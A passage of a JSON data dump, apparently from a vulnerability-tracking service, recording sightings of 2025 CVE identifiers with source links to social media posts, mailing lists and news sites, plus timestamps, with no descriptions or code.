"CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/seraph-cyber.bsky.social/post/3lqou2cqpfk2r", "content": "", "creation_timestamp": "2025-06-03T08:17:02.990532Z"}, {"uuid": "a3b179b9-83e5-45a2-b071-cfad81ddd134", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45006", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsyrvczujl2m", "content": "", "creation_timestamp": "2025-07-02T17:55:15.774443Z"}, {"uuid": "c5cb26c4-8134-41d5-862e-55da2f0715bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45542", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-2168-404f-968e-e63628485710", "content": "", "creation_timestamp": "2025-06-04T13:54:00.424435Z"}, {"uuid": "17eada29-63b1-45be-863e-fb728d7459d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45784", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lrvjcs4nor2k", "content": "", "creation_timestamp": "2025-06-18T17:18:33.493388Z"}, {"uuid": "96722827-ce4b-4f50-97d4-b0b04a62c66c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45786", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lrvjlqkq4q2r", "content": "", "creation_timestamp": "2025-06-18T17:23:33.608971Z"}, {"uuid": "1268abd5-1c8d-479f-bdde-203c067507f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45661", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lrvk5n5qaw2i", "content": "", "creation_timestamp": "2025-06-18T17:33:34.108394Z"}, {"uuid": "8058bf03-2e0c-401d-a305-2cdaed76873b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45475", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lq6dmzkki5j2", "content": "", "creation_timestamp": "2025-05-27T18:40:33.391149Z"}, {"uuid": "42460aa6-b5ac-4209-a63c-ce36c58bc24f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45474", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqd5vdqpupa2", "content": "", "creation_timestamp": "2025-05-29T16:42:37.860852Z"}, {"uuid": "055458cb-83fb-467a-b737-1e00e111ae6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3ls2fspxbo22q", "content": "", "creation_timestamp": "2025-06-20T15:59:14.874427Z"}, {"uuid": "4c9935f8-f86a-4fb5-a683-607b63e9a4e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://thehackernews.com/2025/05/new-linux-flaws-allow-password-hash.html", "content": "", "creation_timestamp": "2025-05-31T08:19:00.000000Z"}, {"uuid": "962188dc-5b68-4a23-86d8-da8e9b06f36f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lqdblrdkqb2g", "content": "", "creation_timestamp": "2025-05-29T17:47:17.826006Z"}, {"uuid": "dac8fbe3-a594-49ed-89dc-a99bb0994146", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4567", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lqoxojh26i2k", "content": "", "creation_timestamp": "2025-06-03T09:21:49.507704Z"}, {"uuid": "e2e632c9-4d8c-43f9-b826-a5c8343c4c4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45529", "type": "seen", "source": "https://bsky.app/profile/FunctionalProgramming.activitypub.awakari.com.ap.brid.gy/post/3lq6gbhbie242", "content": "", "creation_timestamp": "2025-05-27T19:27:46.455070Z"}, {"uuid": "bf2d5655-871b-4a7e-aa9e-20a00502755c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3lqicou43bk23", "content": "", "creation_timestamp": "2025-05-31T17:50:17.543574Z"}, {"uuid": "e3f9722b-0633-4de3-b9dd-f03fabf3d1e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lqdc62y6r52l", "content": "", "creation_timestamp": "2025-05-29T17:57:31.783035Z"}, {"uuid": "edd1dc8d-b7ea-46a3-8bf6-7c19ac4f04fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45424", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsz4jegvkf2r", "content": "", "creation_timestamp": "2025-07-02T21:05:25.735457Z"}, {"uuid": "3d2ce223-98a5-44c1-8687-386416b84f6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45890", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ls2t3y5mvd2p", "content": "", "creation_timestamp": "2025-06-20T19:57:00.939984Z"}, {"uuid": "1c0e4432-5a76-4a58-9f75-c804a94d3291", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45474", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lqdea2r5gz2q", "content": "", "creation_timestamp": "2025-05-29T18:34:26.059978Z"}, {"uuid": "01e59b9d-c725-415f-a186-a508f23a337a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45814", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsz5itahjt2v", "content": "", "creation_timestamp": "2025-07-02T21:23:01.578807Z"}, {"uuid": "eb6516c7-d3fe-4098-8b49-511627b36d22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45331", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ls2tnuzqtx2q", "content": "", "creation_timestamp": "2025-06-20T20:07:02.129534Z"}, {"uuid": "a5de133a-c736-4d5b-aec6-5ac5ff8dcf22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/273", "content": "", "creation_timestamp": "2025-06-23T23:32:45.000000Z"}, {"uuid": "f2733a4e-aac7-4bcb-8a7a-9b8078c20ef0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45813", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsz6j6moub2m", "content": "", "creation_timestamp": "2025-07-02T21:41:07.720937Z"}, {"uuid": "62dba4e5-dae1-4a1c-b16b-9a8a9f7d24d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45475", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lq6ndum3hn2m", "content": "", "creation_timestamp": "2025-05-27T21:34:18.798257Z"}, {"uuid": "3547eb55-010e-4aa5-941c-2c8a06e70f5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45947", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lnvx5u243q2d", "content": "", "creation_timestamp": "2025-04-28T23:45:33.394215Z"}, {"uuid": "608973a6-d31f-48f3-bd52-d70136ba4bb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45949", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lnvx5ud6xr2s", "content": "", "creation_timestamp": "2025-04-28T23:45:34.061434Z"}, {"uuid": "826dc730-2233-4575-a458-8e6baf77cf53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45953", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lnvx5vgw7w2l", "content": "", "creation_timestamp": "2025-04-28T23:45:39.345489Z"}, {"uuid": "70f4b770-6d6f-477e-aa32-58f69c383047", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45529", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lq6nvrinzh2o", "content": "", "creation_timestamp": "2025-05-27T21:44:19.424431Z"}, {"uuid": "43bc1313-2d55-406d-b883-280dc9d49489", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4562", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lpsokuyztf2r", "content": "", "creation_timestamp": "2025-05-23T03:24:11.115846Z"}, {"uuid": "1b9a0e05-6c09-49ba-a720-99134cf726f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/anontroyano.bsky.social/post/3lqjei372xc2t", "content": "", "creation_timestamp": "2025-06-01T03:56:18.406512Z"}, {"uuid": "25d737a0-1f64-4f19-b4a1-00b7e42e8b71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3lsdsmayxzt2u", "content": "", "creation_timestamp": "2025-06-24T09:42:11.118520Z"}, {"uuid": "823413e3-456b-48f4-a43c-21c9288fe652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45947", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114422273664998534", "content": "", "creation_timestamp": "2025-04-29T16:48:58.710378Z"}, {"uuid": "cafb9397-7c91-4aa1-994f-1f7f5c88ed56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45949", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114422273703151250", "content": "", "creation_timestamp": "2025-04-29T16:48:59.210753Z"}, {"uuid": "20315c89-0610-4b89-af2c-c01e3e9e825a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45953", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114422273749869602", "content": "", "creation_timestamp": "2025-04-29T16:49:00.011725Z"}, {"uuid": "84886098-bc68-45b1-80ac-b3796001bf78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45947", "type": "seen", "source": "https://bsky.app/profile/redteamnews.bsky.social/post/3lnxvwj2qdt2h", "content": "", "creation_timestamp": "2025-04-29T18:28:52.866292Z"}, {"uuid": "5a579c97-c1d8-428d-a55a-2757486d961c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45956", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lny2iklvmk2r", "content": "", "creation_timestamp": "2025-04-29T19:50:36.892809Z"}, {"uuid": "ea72422a-62cf-4eab-9962-01a6ec3c1bac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4594", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lpt42mtxzh2k", "content": "", "creation_timestamp": "2025-05-23T07:25:37.907835Z"}, {"uuid": "12cac1a6-a544-4f9f-99e5-2c8dea4cb721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/273", "content": "", "creation_timestamp": "2025-06-23T23:32:45.000000Z"}, {"uuid": "7535b77e-0991-4e81-ab99-7aa7c555139c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/schneier.com/post/3lqp5mytpr522", "content": "", "creation_timestamp": "2025-06-03T11:08:21.313366Z"}, {"uuid": "f76a86b5-e420-4734-836d-250134454975", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45007", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lo25taqrjv2j", "content": "", "creation_timestamp": "2025-04-30T15:55:35.795728Z"}, {"uuid": "447f53e0-6771-47bd-9d3f-bf194a287d8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45020", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lo25tbbs2z2o", "content": "", "creation_timestamp": "2025-04-30T15:55:38.565021Z"}, {"uuid": "6b6b0af8-0c5a-4f20-b6a2-de2c29e42cc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/gorekhaa.bsky.social/post/3lqp75drdwi2e", "content": "", "creation_timestamp": "2025-06-03T11:35:23.382547Z"}, {"uuid": "6617e9fc-a73c-4ba1-bbc0-eceb7878576e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lqp7pgytoz2e", "content": "", "creation_timestamp": "2025-06-03T11:45:30.551286Z"}, {"uuid": "617ecdb5-894b-4de6-a957-7de8f2aed66f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3lr6pff6tct2b", "content": "", "creation_timestamp": "2025-06-09T15:36:08.845214Z"}, {"uuid": "adcee922-8a04-4106-b236-52018b3ad2eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45879", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lrt37toeg32a", "content": "", "creation_timestamp": "2025-06-17T18:01:05.926457Z"}, {"uuid": "2e56fc1d-784f-4814-84bd-d8a7b0f59e3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3lqp7pmol7od2", "content": "", "creation_timestamp": "2025-06-03T11:45:38.984955Z"}, {"uuid": "48ae3bbc-ed27-4a67-b280-27558d78f84a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/183", "content": "", "creation_timestamp": "2025-05-29T15:19:54.000000Z"}, {"uuid": "721af9e3-ce24-42d4-9f74-48b2c9947786", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45862", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lpmerozy2w2h", "content": "", "creation_timestamp": "2025-05-20T15:13:06.343955Z"}, {"uuid": "7fb6973d-fb9a-43bf-89c3-ad821cdb26e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4575", "type": "seen", "source": "https://bsky.app/profile/keiwork35.bsky.social/post/3lq23pw4ikx2s", "content": "", "creation_timestamp": "2025-05-26T02:08:17.973657Z"}, {"uuid": "f9b40e70-1b17-49e3-b8ac-6785de1ebaa4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/bluesky.awakari.com/post/3lqpdu5ggre2l", "content": "", "creation_timestamp": "2025-06-03T12:59:43.162977Z"}, {"uuid": "9fb155ee-78da-41fb-a540-31a860ba5b65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/Ubuntu.activitypub.awakari.com.ap.brid.gy/post/3lqpduad2epi2", "content": "", "creation_timestamp": "2025-06-03T12:59:56.451181Z"}, {"uuid": "9c166866-ae8f-4282-8eac-80415cea11a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45786", "type": "seen", "source": "https://gist.github.com/0xKunAlx0/a80bc7ec5acb2f19daa36257fedbcf11", "content": "", "creation_timestamp": "2025-06-13T07:24:40.000000Z"}, {"uuid": "44b51a5c-ebff-4828-8d93-a32a2e544186", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45800", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lo7mr4x37m2w", "content": "", "creation_timestamp": "2025-05-02T20:06:10.475123Z"}, {"uuid": "bcf387df-a308-4581-b8c8-fe47b517e866", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45854", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-45854.yaml", "content": "", "creation_timestamp": "2025-06-17T17:16:45.000000Z"}, {"uuid": "90d014f5-e046-4405-ae28-14e72b7913c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4563", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lrwk35b43x2j", "content": "", "creation_timestamp": "2025-06-19T03:04:50.033742Z"}, {"uuid": "8273e336-22f8-4e4c-a62b-d4892c308260", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f", "content": "", "creation_timestamp": "2025-06-03T13:20:14.000000Z"}, {"uuid": "1fc6f6fd-bad6-4eb2-9b6d-152d3413170c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqphcwlpmpi2", "content": "", "creation_timestamp": "2025-06-03T14:03:09.614768Z"}, {"uuid": "225fbec7-8df7-4659-bd35-6f1511c75cc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lqphyunxum22", "content": "", "creation_timestamp": "2025-06-03T14:13:59.006734Z"}, {"uuid": "90bc1150-3732-456e-b5c3-72792f5e0dbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2025-4598", "type": "seen", "source": "https://bsky.app/profile/nopfx.bsky.social/post/3lqpi22rez22t", "content": "", "creation_timestamp": "2025-06-03T14:14:37.463682Z"}, {"uuid": "7025eff3-38b3-4bc5-9ca9-8afa5ff91fc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4517", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114619874159795297", "content": "", "creation_timestamp": "2025-06-03T14:21:32.018215Z"}, {"uuid": "f875fd39-cb64-49ed-b145-6fdcb70378b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45542", "type": "seen", "source": "https://schleuss.online/users/vulnbot/statuses/114619920256351189", "content": "", "creation_timestamp": "2025-06-03T14:33:06.437478Z"}, {"uuid": "1081f277-304e-4e6c-be9d-0487097d4fe7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45751", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3logrd7qxib2h", "content": "", "creation_timestamp": "2025-05-05T16:16:27.037741Z"}, {"uuid": "76f34eb3-7446-4c81-b966-47dd283a460a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45042", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3logspwquja2h", "content": "", "creation_timestamp": "2025-05-05T16:41:27.057896Z"}, {"uuid": "a64dddec-d30e-4f32-95d9-dae3067edeeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45321", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3logspx2i2o2j", "content": "", "creation_timestamp": "2025-05-05T16:41:27.832729Z"}, {"uuid": "b3a99841-66e4-4fb6-a162-1e89a5999d39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45322", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3logspx5uph2n", "content": "", "creation_timestamp": "2025-05-05T16:41:28.476835Z"}, {"uuid": "14c07e61-61a6-48da-83b5-f2cd659134ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45042", "type": "seen", "source": "https://bsky.app/profile/redteamnews.bsky.social/post/3lohale4ehx2z", "content": "", "creation_timestamp": "2025-05-05T20:49:26.042571Z"}, {"uuid": "76520147-4415-4bcc-8d7a-e67aa7789d41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45615", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3loi2npw4fq2o", "content": "", "creation_timestamp": "2025-05-06T04:36:06.938051Z"}, {"uuid": "8c9d8793-9584-4ede-b694-87787bcce4b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45616", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3loi2ntftjh2l", "content": "", "creation_timestamp": "2025-05-06T04:36:07.567000Z"}, {"uuid": "781be6cf-349c-42a7-a596-b020d763cc94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45615", "type": "seen", "source": "https://bsky.app/profile/redteamnews.bsky.social/post/3loidsy3c722h", "content": "", "creation_timestamp": "2025-05-06T07:20:02.956173Z"}, {"uuid": "bf93de42-fc2c-4f4e-9a05-4e1219b6e2b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45542", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lqpjapxypa2d", "content": "", "creation_timestamp": "2025-06-03T14:36:15.103889Z"}, {"uuid": "7a6905ba-a434-46de-82dd-728a51b56d76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45855", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqpk5x67hdy2", "content": "", "creation_timestamp": "2025-06-03T14:52:59.168692Z"}, {"uuid": "73e5529e-b978-44f7-b031-6e074d4a8954", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45001", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lr74p7cyou2s", "content": "", "creation_timestamp": "2025-06-09T19:34:16.784357Z"}, {"uuid": "a81c7cf3-3199-4200-955c-d72bb4b959b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4563", "type": "seen", "source": "https://seclists.org/oss-sec/2025/q2/267", "content": "", "creation_timestamp": "2025-06-19T00:37:12.000000Z"}, {"uuid": "7999f430-6e1d-410c-8299-300205309939", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45582", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114835652448049718", "content": "", "creation_timestamp": "2025-07-11T16:56:38.207374Z"}, {"uuid": "760aacac-33db-475a-a2e8-72edff45f090", "vulnerability_lookup_origin": 